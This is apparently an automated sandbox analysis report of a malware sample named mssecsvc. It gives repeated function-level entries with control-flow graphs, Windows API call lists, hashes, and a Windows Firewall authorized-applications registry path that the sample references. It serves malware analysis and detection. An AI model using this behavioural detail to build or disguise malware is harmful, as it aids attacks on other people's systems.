                                                                                                                                                                • API ID: AddressProc$CountDirectoryInformationLibraryLoadTickVolumeWindows
                                                                                                                                                                • String ID: ADVAPI32.DLL$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                                                                                                                                                                • API String ID: 3969011833-2287716718
                                                                                                                                                                • Opcode ID: 6fec74ca2565ad77cf16187e820aa09f4f743d7765ef450cb713a8fe50d10e2c
                                                                                                                                                                • Instruction ID: 1145100158bff55dd90138f8527f27fe4f7e1bdf2e61f05ca02155e42005c5da
                                                                                                                                                                • Opcode Fuzzy Hash: 6fec74ca2565ad77cf16187e820aa09f4f743d7765ef450cb713a8fe50d10e2c
                                                                                                                                                                • Instruction Fuzzy Hash: B9F12871519248BFDB35AF24CC4ABEABBECEF41700F04059AE8459F182E7F05F4586A6
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00BD3C5A Relevance: 28.4, APIs: 14, Strings: 2, Instructions: 417libraryloaderCOMMON
                                                                                                                                                                Download Yara Rule

                                                                                                                                                                Control-flow Graph

                                                                                                                                                                • Executed
                                                                                                                                                                • Not Executed
                                                                                                                                                                control_flow_graph 373 bd3c5a-bd3c62 GetModuleHandleA 374 bd3c78-bd3d58 call bd3c88 GetSystemDirectoryA call bd3cb7 GetProcAddress LoadLibraryA call bd10ce call bd01cb GetTickCount call bd3b0e 373->374 375 bd3c64-bd3c66 373->375 391 bd3d5a 374->391 392 bd3d60-bd3d65 call bd3b0e 374->392 376 bd3c6c-bd3c74 GetProcAddress 375->376 377 bd3c67 call bd26d4 375->377 376->374 379 bd3c76 376->379 377->376 379->374 391->392 395 bd3d67-bd3d7e 392->395 396 bd3d80-bd3d90 call bd62df call bd273c 395->396 401 bd3d96-bd3db2 call bd62df 396->401 402 bd3d92-bd3d94 396->402 404 bd3db3-bd3db4 401->404 402->404 404->396 406 bd3db6-bd3dbc 404->406 406->395 407 bd3dbe-bd3dc8 call bd273c 406->407 410 bd3dca-bd3dd2 call bd2750 407->410 411 bd3dd7-bd3e10 call bd273c GetVolumeInformationA 407->411 410->411 415 bd3e1a-bd3e20 411->415 416 bd3e12-bd3e18 411->416 417 bd3e29-bd3e36 415->417 418 bd3e22 415->418 416->417 419 bd3ebd 417->419 420 bd3e3c-bd3e60 call bd3e4d 417->420 418->417 421 bd3ec7 419->421 420->421 429 bd3e62-bd3e68 420->429 423 bd3ec9-bd3ee1 CreateThread CloseHandle 421->423 424 bd3ee7-bd3f54 call bd3ef8 call bd10ce call bd3f27 call bd10ce 421->424 423->424 443 bd425f-bd4261 RtlExitUserThread 424->443 444 bd3f5a-bd3f9d CreateThread CloseHandle CreateEventA 424->444 431 bd3e6a-bd3e6f 429->431 432 bd3e91-bd3ea5 429->432 433 bd3e98-bd3ea5 431->433 434 bd3e71-bd3e90 431->434 436 bd3eac-bd3eb6 432->436 433->436 434->432 436->419 438 bd3eb8 call bd339d 436->438 438->419 446 bd3fa3-bd3fbb call bd3792 444->446 449 bd3fbd-bd3fc0 446->449 450 bd3fc2-bd3fd5 call bd3b28 446->450 449->450 451 bd3fdd-bd3fe5 449->451 456 bd420d-bd4214 450->456 457 bd3fdb 450->457 454 bd3fe7-bd3ff4 lstrlen 451->454 455 bd3ff6-bd3fff 451->455 454->454 454->455 461 bd4005-bd400c 455->461 462 bd4254-bd425a 455->462 456->443 459 bd4216-bd421d 456->459 460 bd4012-bd4031 457->460 463 bd421f-bd422b SetEvent 459->463 464 bd4231-bd424f Sleep ResetEvent 459->464 460->456 466 bd4037-bd404a 460->466 461->460 462->446 463->464 464->446 468 bd4206 466->468 469 bd4050-bd4129 call bd273c call bd2750 GetVersionExA call bd2750 call bd32f0 call bd4109 call bd32f0 466->469 468->456 485 bd412b-bd4141 CreateThread CloseHandle 469->485 486 bd4147 469->486 485->486 487 bd414d-bd4163 486->487 487->468 489 bd4169-bd416b 487->489 490 bd416d-bd4185 489->490 491 bd418a-bd4192 490->491 492 bd4187 490->492 491->490 493 bd4194 491->493 492->491 494 bd419a-bd419e 493->494 495 bd41b0-bd41b2 494->495 496 bd41a0-bd41a7 call bd2f08 494->496 498 bd41b4-bd41be 495->498 496->468 501 bd41a9 496->501 500 bd41c3-bd41d1 call bd6480 call bd649a 498->500 500->487 507 bd41d7-bd41e1 Sleep 500->507 501->498 503 bd41ab-bd41ae 501->503 503->494 507->500 508 bd41e3-bd41f4 GetTickCount 507->508 508->487 509 bd41fa-bd4201 508->509 509->468 509->487
                                                                                                                                                                APIs
                                                                                                                                                                • GetModuleHandleA.KERNEL32(00BD3C52), ref: 00BD3C5A
                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,00000002), ref: 00BD3C6C
                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,00BD3CD9), ref: 00BD3CE4
                                                                                                                                                                • LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 00BD3CF7
                                                                                                                                                                • GetTickCount.KERNEL32 ref: 00BD3D2B
                                                                                                                                                                Strings
                                                                                                                                                                • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 00BD3EA4
                                                                                                                                                                • ADVAPI32.DLL, xrefs: 00BD3CF6
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000010.00000002.386970437.0000000000BD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 00BD0000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_16_2_bd0000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: AddressProc$CountHandleLibraryLoadModuleTick
                                                                                                                                                                • String ID: ADVAPI32.DLL$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                                                                                                                                                                • API String ID: 2837544101-2287716718
                                                                                                                                                                • Opcode ID: 027acb289342bb118d02a87de8172ec9d27ea8879ecf6df1c79d6d68dda35319
                                                                                                                                                                • Instruction ID: f37c06629c6679f86b76a8c9f809ed4c80d74510f38b8c6e62e7e54f09a7c6ad
                                                                                                                                                                • Opcode Fuzzy Hash: 027acb289342bb118d02a87de8172ec9d27ea8879ecf6df1c79d6d68dda35319
                                                                                                                                                                • Instruction Fuzzy Hash: 3AE13771519248BFDB25AF24CC4ABEABBECEF42700F04059AEC449E182E7F45F458666
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00BD3C88 Relevance: 28.4, APIs: 14, Strings: 2, Instructions: 394COMMON
                                                                                                                                                                Download Yara Rule

                                                                                                                                                                Control-flow Graph

                                                                                                                                                                • Executed
                                                                                                                                                                • Not Executed
                                                                                                                                                                control_flow_graph 510 bd3c88-bd3d58 GetModuleHandleA call bd26d4 GetSystemDirectoryA call bd3cb7 GetProcAddress LoadLibraryA call bd10ce call bd01cb GetTickCount call bd3b0e 522 bd3d5a 510->522 523 bd3d60-bd3d65 call bd3b0e 510->523 522->523 526 bd3d67-bd3d7e 523->526 527 bd3d80-bd3d90 call bd62df call bd273c 526->527 532 bd3d96-bd3db2 call bd62df 527->532 533 bd3d92-bd3d94 527->533 535 bd3db3-bd3db4 532->535 533->535 535->527 537 bd3db6-bd3dbc 535->537 537->526 538 bd3dbe-bd3dc8 call bd273c 537->538 541 bd3dca-bd3dd2 call bd2750 538->541 542 bd3dd7-bd3e10 call bd273c GetVolumeInformationA 538->542 541->542 546 bd3e1a-bd3e20 542->546 547 bd3e12-bd3e18 542->547 548 bd3e29-bd3e36 546->548 549 bd3e22 546->549 547->548 550 bd3ebd 548->550 551 bd3e3c-bd3e60 call bd3e4d 548->551 549->548 552 bd3ec7 550->552 551->552 560 bd3e62-bd3e68 551->560 554 bd3ec9-bd3ee1 CreateThread CloseHandle 552->554 555 bd3ee7-bd3f54 call bd3ef8 call bd10ce call bd3f27 call bd10ce 552->555 554->555 574 bd425f-bd4261 RtlExitUserThread 555->574 575 bd3f5a-bd3f9d CreateThread CloseHandle CreateEventA 555->575 562 bd3e6a-bd3e6f 560->562 563 bd3e91-bd3ea5 560->563 564 bd3e98-bd3ea5 562->564 565 bd3e71-bd3e90 562->565 567 bd3eac-bd3eb6 563->567 564->567 565->563 567->550 569 bd3eb8 call bd339d 567->569 569->550 577 bd3fa3-bd3fbb call bd3792 575->577 580 bd3fbd-bd3fc0 577->580 581 bd3fc2-bd3fd5 call bd3b28 577->581 580->581 582 bd3fdd-bd3fe5 580->582 587 bd420d-bd4214 581->587 588 bd3fdb 581->588 585 bd3fe7-bd3ff4 lstrlen 582->585 586 bd3ff6-bd3fff 582->586 585->585 585->586 592 bd4005-bd400c 586->592 593 bd4254-bd425a 586->593 587->574 590 bd4216-bd421d 587->590 591 bd4012-bd4031 588->591 594 bd421f-bd422b SetEvent 590->594 595 bd4231-bd424f Sleep ResetEvent 590->595 591->587 597 bd4037-bd404a 591->597 592->591 593->577 594->595 595->577 599 bd4206 597->599 600 bd4050-bd4129 call bd273c call bd2750 GetVersionExA call bd2750 call bd32f0 call bd4109 call bd32f0 597->600 599->587 616 bd412b-bd4141 CreateThread CloseHandle 600->616 617 bd4147 600->617 616->617 618 bd414d-bd4163 617->618 618->599 620 bd4169-bd416b 618->620 621 bd416d-bd4185 620->621 622 bd418a-bd4192 621->622 623 bd4187 621->623 622->621 624 bd4194 622->624 623->622 625 bd419a-bd419e 624->625 626 bd41b0-bd41b2 625->626 627 bd41a0-bd41a7 call bd2f08 625->627 629 bd41b4-bd41be 626->629 627->599 632 bd41a9 627->632 631 bd41c3-bd41d1 call bd6480 call bd649a 629->631 631->618 638 bd41d7-bd41e1 Sleep 631->638 632->629 634 bd41ab-bd41ae 632->634 634->625 638->631 639 bd41e3-bd41f4 GetTickCount 638->639 639->618 640 bd41fa-bd4201 639->640 640->599 640->618
                                                                                                                                                                APIs
                                                                                                                                                                • GetModuleHandleA.KERNEL32(00BD3C7D), ref: 00BD3C88
                                                                                                                                                                • GetSystemDirectoryA.KERNEL32(00BD69E2,00000104), ref: 00BD3C9F
                                                                                                                                                                  • Part of subcall function 00BD3CB7: lstrcat.KERNEL32(00BD69E2,00BD3CAA), ref: 00BD3CB8
                                                                                                                                                                  • Part of subcall function 00BD3CB7: GetProcAddress.KERNEL32(00000000,00BD3CD9), ref: 00BD3CE4
                                                                                                                                                                  • Part of subcall function 00BD3CB7: LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 00BD3CF7
                                                                                                                                                                  • Part of subcall function 00BD3CB7: GetTickCount.KERNEL32 ref: 00BD3D2B
                                                                                                                                                                  • Part of subcall function 00BD3CB7: GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,00BD6E36,00000000,00000000,00000000,00000000), ref: 00BD3DFD
                                                                                                                                                                Strings
                                                                                                                                                                • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 00BD3EA4
                                                                                                                                                                • ADVAPI32.DLL, xrefs: 00BD3CF6
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000010.00000002.386970437.0000000000BD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 00BD0000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_16_2_bd0000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: AddressCountDirectoryHandleInformationLibraryLoadModuleProcSystemTickVolumelstrcat
                                                                                                                                                                • String ID: ADVAPI32.DLL$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                                                                                                                                                                • API String ID: 215653160-2287716718
                                                                                                                                                                • Opcode ID: 655e1f48a5b14d5ebf2e49081fd326607dd54f27207fd34772f1e266f9ded85e
                                                                                                                                                                • Instruction ID: b9d80f887e5f3bf24a62443d8e635fa7e9ac877d84d0f63f12e7da48b88be998
                                                                                                                                                                • Opcode Fuzzy Hash: 655e1f48a5b14d5ebf2e49081fd326607dd54f27207fd34772f1e266f9ded85e
                                                                                                                                                                • Instruction Fuzzy Hash: 33D14771515248BFDB25AF20CC4ABEABBECEF01700F00059AEC589E182E7F45F458666
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00BD3CB7 Relevance: 26.6, APIs: 13, Strings: 2, Instructions: 374stringCOMMON
                                                                                                                                                                Download Yara Rule

                                                                                                                                                                Control-flow Graph

                                                                                                                                                                • Executed
                                                                                                                                                                • Not Executed
                                                                                                                                                                control_flow_graph 641 bd3cb7-bd3d58 lstrcat call bd3cce GetProcAddress LoadLibraryA call bd10ce call bd01cb GetTickCount call bd3b0e 652 bd3d5a 641->652 653 bd3d60-bd3d65 call bd3b0e 641->653 652->653 656 bd3d67-bd3d7e 653->656 657 bd3d80-bd3d90 call bd62df call bd273c 656->657 662 bd3d96-bd3db2 call bd62df 657->662 663 bd3d92-bd3d94 657->663 665 bd3db3-bd3db4 662->665 663->665 665->657 667 bd3db6-bd3dbc 665->667 667->656 668 bd3dbe-bd3dc8 call bd273c 667->668 671 bd3dca-bd3dd2 call bd2750 668->671 672 bd3dd7-bd3e10 call bd273c GetVolumeInformationA 668->672 671->672 676 bd3e1a-bd3e20 672->676 677 bd3e12-bd3e18 672->677 678 bd3e29-bd3e36 676->678 679 bd3e22 676->679 677->678 680 bd3ebd 678->680 681 bd3e3c-bd3e60 call bd3e4d 678->681 679->678 682 bd3ec7 680->682 681->682 690 bd3e62-bd3e68 681->690 684 bd3ec9-bd3ee1 CreateThread CloseHandle 682->684 685 bd3ee7-bd3f54 call bd3ef8 call bd10ce call bd3f27 call bd10ce 682->685 684->685 704 bd425f-bd4261 RtlExitUserThread 685->704 705 bd3f5a-bd3f9d CreateThread CloseHandle CreateEventA 685->705 692 bd3e6a-bd3e6f 690->692 693 bd3e91-bd3ea5 690->693 694 bd3e98-bd3ea5 692->694 695 bd3e71-bd3e90 692->695 697 bd3eac-bd3eb6 693->697 694->697 695->693 697->680 699 bd3eb8 call bd339d 697->699 699->680 707 bd3fa3-bd3fbb call bd3792 705->707 710 bd3fbd-bd3fc0 707->710 711 bd3fc2-bd3fd5 call bd3b28 707->711 710->711 712 bd3fdd-bd3fe5 710->712 717 bd420d-bd4214 711->717 718 bd3fdb 711->718 715 bd3fe7-bd3ff4 lstrlen 712->715 716 bd3ff6-bd3fff 712->716 715->715 715->716 722 bd4005-bd400c 716->722 723 bd4254-bd425a 716->723 717->704 720 bd4216-bd421d 717->720 721 bd4012-bd4031 718->721 724 bd421f-bd422b SetEvent 720->724 725 bd4231-bd424f Sleep ResetEvent 720->725 721->717 727 bd4037-bd404a 721->727 722->721 723->707 724->725 725->707 729 bd4206 727->729 730 bd4050-bd4129 call bd273c call bd2750 GetVersionExA call bd2750 call bd32f0 call bd4109 call bd32f0 727->730 729->717 746 bd412b-bd4141 CreateThread CloseHandle 730->746 747 bd4147 730->747 746->747 748 bd414d-bd4163 747->748 748->729 750 bd4169-bd416b 748->750 751 bd416d-bd4185 750->751 752 bd418a-bd4192 751->752 753 bd4187 751->753 752->751 754 bd4194 752->754 753->752 755 bd419a-bd419e 754->755 756 bd41b0-bd41b2 755->756 757 bd41a0-bd41a7 call bd2f08 755->757 759 bd41b4-bd41be 756->759 757->729 762 bd41a9 757->762 761 bd41c3-bd41d1 call bd6480 call bd649a 759->761 761->748 768 bd41d7-bd41e1 Sleep 761->768 762->759 764 bd41ab-bd41ae 762->764 764->755 768->761 769 bd41e3-bd41f4 GetTickCount 768->769 769->748 770 bd41fa-bd4201 769->770 770->729 770->748
                                                                                                                                                                APIs
                                                                                                                                                                • lstrcat.KERNEL32(00BD69E2,00BD3CAA), ref: 00BD3CB8
                                                                                                                                                                  • Part of subcall function 00BD3CCE: LoadLibraryA.KERNEL32(00BD3CC3), ref: 00BD3CCE
                                                                                                                                                                  • Part of subcall function 00BD3CCE: GetProcAddress.KERNEL32(00000000,00BD3CD9), ref: 00BD3CE4
                                                                                                                                                                  • Part of subcall function 00BD3CCE: LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 00BD3CF7
                                                                                                                                                                  • Part of subcall function 00BD3CCE: GetTickCount.KERNEL32 ref: 00BD3D2B
                                                                                                                                                                  • Part of subcall function 00BD3CCE: GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,00BD6E36,00000000,00000000,00000000,00000000), ref: 00BD3DFD
                                                                                                                                                                Strings
                                                                                                                                                                • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 00BD3EA4
                                                                                                                                                                • ADVAPI32.DLL, xrefs: 00BD3CF6
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000010.00000002.386970437.0000000000BD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 00BD0000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_16_2_bd0000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: LibraryLoad$AddressCountInformationProcTickVolumelstrcat
                                                                                                                                                                • String ID: ADVAPI32.DLL$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                                                                                                                                                                • API String ID: 2038497427-2287716718
                                                                                                                                                                • Opcode ID: 6015bc910092ae8f3cfbb4603391d7f6777f93900d010c705f53bc10b9c9ab02
                                                                                                                                                                • Instruction ID: f98602038c5131626f3bbd3b00bee1c07d535ec4d72eec7e783059f115b85248
                                                                                                                                                                • Opcode Fuzzy Hash: 6015bc910092ae8f3cfbb4603391d7f6777f93900d010c705f53bc10b9c9ab02
                                                                                                                                                                • Instruction Fuzzy Hash: 45D14571515248BFDB25AF24CC4ABEABBECEF01700F04059AE8489E182E7F45F458666
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00BD3CCE Relevance: 26.6, APIs: 13, Strings: 2, Instructions: 364libraryCOMMON
                                                                                                                                                                Download Yara Rule

                                                                                                                                                                Control-flow Graph

                                                                                                                                                                • Executed
                                                                                                                                                                • Not Executed
                                                                                                                                                                control_flow_graph 771 bd3cce-bd3d58 LoadLibraryA call bd3ce3 GetProcAddress LoadLibraryA call bd10ce call bd01cb GetTickCount call bd3b0e 782 bd3d5a 771->782 783 bd3d60-bd3d65 call bd3b0e 771->783 782->783 786 bd3d67-bd3d7e 783->786 787 bd3d80-bd3d90 call bd62df call bd273c 786->787 792 bd3d96-bd3db2 call bd62df 787->792 793 bd3d92-bd3d94 787->793 795 bd3db3-bd3db4 792->795 793->795 795->787 797 bd3db6-bd3dbc 795->797 797->786 798 bd3dbe-bd3dc8 call bd273c 797->798 801 bd3dca-bd3dd2 call bd2750 798->801 802 bd3dd7-bd3e10 call bd273c GetVolumeInformationA 798->802 801->802 806 bd3e1a-bd3e20 802->806 807 bd3e12-bd3e18 802->807 808 bd3e29-bd3e36 806->808 809 bd3e22 806->809 807->808 810 bd3ebd 808->810 811 bd3e3c-bd3e60 call bd3e4d 808->811 809->808 812 bd3ec7 810->812 811->812 820 bd3e62-bd3e68 811->820 814 bd3ec9-bd3ee1 CreateThread CloseHandle 812->814 815 bd3ee7-bd3f54 call bd3ef8 call bd10ce call bd3f27 call bd10ce 812->815 814->815 834 bd425f-bd4261 RtlExitUserThread 815->834 835 bd3f5a-bd3f9d CreateThread CloseHandle CreateEventA 815->835 822 bd3e6a-bd3e6f 820->822 823 bd3e91-bd3ea5 820->823 824 bd3e98-bd3ea5 822->824 825 bd3e71-bd3e90 822->825 827 bd3eac-bd3eb6 823->827 824->827 825->823 827->810 829 bd3eb8 call bd339d 827->829 829->810 837 bd3fa3-bd3fbb call bd3792 835->837 840 bd3fbd-bd3fc0 837->840 841 bd3fc2-bd3fd5 call bd3b28 837->841 840->841 842 bd3fdd-bd3fe5 840->842 847 bd420d-bd4214 841->847 848 bd3fdb 841->848 845 bd3fe7-bd3ff4 lstrlen 842->845 846 bd3ff6-bd3fff 842->846 845->845 845->846 852 bd4005-bd400c 846->852 853 bd4254-bd425a 846->853 847->834 850 bd4216-bd421d 847->850 851 bd4012-bd4031 848->851 854 bd421f-bd422b SetEvent 850->854 855 bd4231-bd424f Sleep ResetEvent 850->855 851->847 857 bd4037-bd404a 851->857 852->851 853->837 854->855 855->837 859 bd4206 857->859 860 bd4050-bd4129 call bd273c call bd2750 GetVersionExA call bd2750 call bd32f0 call bd4109 call bd32f0 857->860 859->847 876 bd412b-bd4141 CreateThread CloseHandle 860->876 877 bd4147 860->877 876->877 878 bd414d-bd4163 877->878 878->859 880 bd4169-bd416b 878->880 881 bd416d-bd4185 880->881 882 bd418a-bd4192 881->882 883 bd4187 881->883 882->881 884 bd4194 882->884 883->882 885 bd419a-bd419e 884->885 886 bd41b0-bd41b2 885->886 887 bd41a0-bd41a7 call bd2f08 885->887 889 bd41b4-bd41be 886->889 887->859 892 bd41a9 887->892 891 bd41c3-bd41d1 call bd6480 call bd649a 889->891 891->878 898 bd41d7-bd41e1 Sleep 891->898 892->889 894 bd41ab-bd41ae 892->894 894->885 898->891 899 bd41e3-bd41f4 GetTickCount 898->899 899->878 900 bd41fa-bd4201 899->900 900->859 900->878
                                                                                                                                                                APIs
                                                                                                                                                                • LoadLibraryA.KERNEL32(00BD3CC3), ref: 00BD3CCE
                                                                                                                                                                  • Part of subcall function 00BD3CE3: GetProcAddress.KERNEL32(00000000,00BD3CD9), ref: 00BD3CE4
                                                                                                                                                                  • Part of subcall function 00BD3CE3: LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 00BD3CF7
                                                                                                                                                                  • Part of subcall function 00BD3CE3: GetTickCount.KERNEL32 ref: 00BD3D2B
                                                                                                                                                                  • Part of subcall function 00BD3CE3: GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,00BD6E36,00000000,00000000,00000000,00000000), ref: 00BD3DFD
                                                                                                                                                                Strings
                                                                                                                                                                • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 00BD3EA4
                                                                                                                                                                • ADVAPI32.DLL, xrefs: 00BD3CF6
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000010.00000002.386970437.0000000000BD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 00BD0000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_16_2_bd0000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: LibraryLoad$AddressCountInformationProcTickVolume
                                                                                                                                                                • String ID: ADVAPI32.DLL$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                                                                                                                                                                • API String ID: 3734769084-2287716718
                                                                                                                                                                • Opcode ID: 2493f2ca0a9d17d60b0ae92595658eb790e1a8e0bd0394b2349fd16cbfe48cab
                                                                                                                                                                • Instruction ID: fab416862cc414f5a2bab4e5eefafa1e8c6802f682816cea700f630c2fcbaf2d
                                                                                                                                                                • Opcode Fuzzy Hash: 2493f2ca0a9d17d60b0ae92595658eb790e1a8e0bd0394b2349fd16cbfe48cab
                                                                                                                                                                • Instruction Fuzzy Hash: 1DD14671515248BFDB35AF24CC4ABEABBECEF01700F00059AF8499E182E7F05F458666
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00BD3CE3 Relevance: 24.9, APIs: 12, Strings: 2, Instructions: 371librarythreadsleepCOMMON
                                                                                                                                                                Download Yara Rule

                                                                                                                                                                Control-flow Graph

                                                                                                                                                                • Executed
                                                                                                                                                                • Not Executed
                                                                                                                                                                control_flow_graph 901 bd3ce3-bd3d0a GetProcAddress LoadLibraryA 902 bd3d15-bd3d58 call bd01cb GetTickCount call bd3b0e 901->902 903 bd3d10 call bd10ce 901->903 908 bd3d5a 902->908 909 bd3d60-bd3d65 call bd3b0e 902->909 903->902 908->909 912 bd3d67-bd3d7e 909->912 913 bd3d80-bd3d90 call bd62df call bd273c 912->913 918 bd3d96-bd3db2 call bd62df 913->918 919 bd3d92-bd3d94 913->919 921 bd3db3-bd3db4 918->921 919->921 921->913 923 bd3db6-bd3dbc 921->923 923->912 924 bd3dbe-bd3dc8 call bd273c 923->924 927 bd3dca-bd3dd2 call bd2750 924->927 928 bd3dd7-bd3e10 call bd273c GetVolumeInformationA 924->928 927->928 932 bd3e1a-bd3e20 928->932 933 bd3e12-bd3e18 928->933 934 bd3e29-bd3e36 932->934 935 bd3e22 932->935 933->934 936 bd3ebd 934->936 937 bd3e3c-bd3e60 call bd3e4d 934->937 935->934 938 bd3ec7 936->938 937->938 946 bd3e62-bd3e68 937->946 940 bd3ec9-bd3ee1 CreateThread CloseHandle 938->940 941 bd3ee7-bd3f54 call bd3ef8 call bd10ce call bd3f27 call bd10ce 938->941 940->941 960 bd425f-bd4261 RtlExitUserThread 941->960 961 bd3f5a-bd3f9d CreateThread CloseHandle CreateEventA 941->961 948 bd3e6a-bd3e6f 946->948 949 bd3e91-bd3ea5 946->949 950 bd3e98-bd3ea5 948->950 951 bd3e71-bd3e90 948->951 953 bd3eac-bd3eb6 949->953 950->953 951->949 953->936 955 bd3eb8 call bd339d 953->955 955->936 963 bd3fa3-bd3fbb call bd3792 961->963 966 bd3fbd-bd3fc0 963->966 967 bd3fc2-bd3fd5 call bd3b28 963->967 966->967 968 bd3fdd-bd3fe5 966->968 973 bd420d-bd4214 967->973 974 bd3fdb 967->974 971 bd3fe7-bd3ff4 lstrlen 968->971 972 bd3ff6-bd3fff 968->972 971->971 971->972 978 bd4005-bd400c 972->978 979 bd4254-bd425a 972->979 973->960 976 bd4216-bd421d 973->976 977 bd4012-bd4031 974->977 980 bd421f-bd422b SetEvent 976->980 981 bd4231-bd424f Sleep ResetEvent 976->981 977->973 983 bd4037-bd404a 977->983 978->977 979->963 980->981 981->963 985 bd4206 983->985 986 bd4050-bd4129 call bd273c call bd2750 GetVersionExA call bd2750 call bd32f0 call bd4109 call bd32f0 983->986 985->973 1002 bd412b-bd4141 CreateThread CloseHandle 986->1002 1003 bd4147 986->1003 1002->1003 1004 bd414d-bd4163 1003->1004 1004->985 1006 bd4169-bd416b 1004->1006 1007 bd416d-bd4185 1006->1007 1008 bd418a-bd4192 1007->1008 1009 bd4187 1007->1009 1008->1007 1010 bd4194 1008->1010 1009->1008 1011 bd419a-bd419e 1010->1011 1012 bd41b0-bd41b2 1011->1012 1013 bd41a0-bd41a7 call bd2f08 1011->1013 1015 bd41b4-bd41be 1012->1015 1013->985 1018 bd41a9 1013->1018 1017 bd41c3-bd41d1 call bd6480 call bd649a 1015->1017 1017->1004 1024 bd41d7-bd41e1 Sleep 1017->1024 1018->1015 1020 bd41ab-bd41ae 1018->1020 1020->1011 1024->1017 1025 bd41e3-bd41f4 GetTickCount 1024->1025 1025->1004 1026 bd41fa-bd4201 1025->1026 1026->985 1026->1004
                                                                                                                                                                APIs
                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,00BD3CD9), ref: 00BD3CE4
                                                                                                                                                                • LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 00BD3CF7
                                                                                                                                                                • GetTickCount.KERNEL32 ref: 00BD3D2B
                                                                                                                                                                • GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,00BD6E36,00000000,00000000,00000000,00000000), ref: 00BD3DFD
                                                                                                                                                                • CreateThread.KERNEL32(00000000,00000000,00BD3629,00000000,00000000), ref: 00BD3ED8
                                                                                                                                                                • CloseHandle.KERNEL32(?,A0ADC14F), ref: 00BD3EE1
                                                                                                                                                                • CreateThread.KERNEL32(00000000,00000000,Function_00003820,00000000,00000000), ref: 00BD3F81
                                                                                                                                                                • CloseHandle.KERNEL32(?,00000000), ref: 00BD3F8A
                                                                                                                                                                • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,00000000), ref: 00BD3F97
                                                                                                                                                                • GetVersionExA.KERNEL32(?,?,00000000), ref: 00BD408C
                                                                                                                                                                • SetEvent.KERNEL32(?,?,00000000), ref: 00BD4225
                                                                                                                                                                • Sleep.KERNEL32(00007530,?,00000000), ref: 00BD4236
                                                                                                                                                                • ResetEvent.KERNEL32(?,?,00000000), ref: 00BD4249
                                                                                                                                                                Strings
                                                                                                                                                                • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 00BD3EA4
                                                                                                                                                                • ADVAPI32.DLL, xrefs: 00BD3CF6
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000010.00000002.386970437.0000000000BD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 00BD0000, based on PE: false
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_16_2_bd0000_mssecsvc.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: CreateEvent$CloseHandleThread$AddressCountInformationLibraryLoadProcResetSleepTickVersionVolume
                                                                                                                                                                • String ID: ADVAPI32.DLL$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
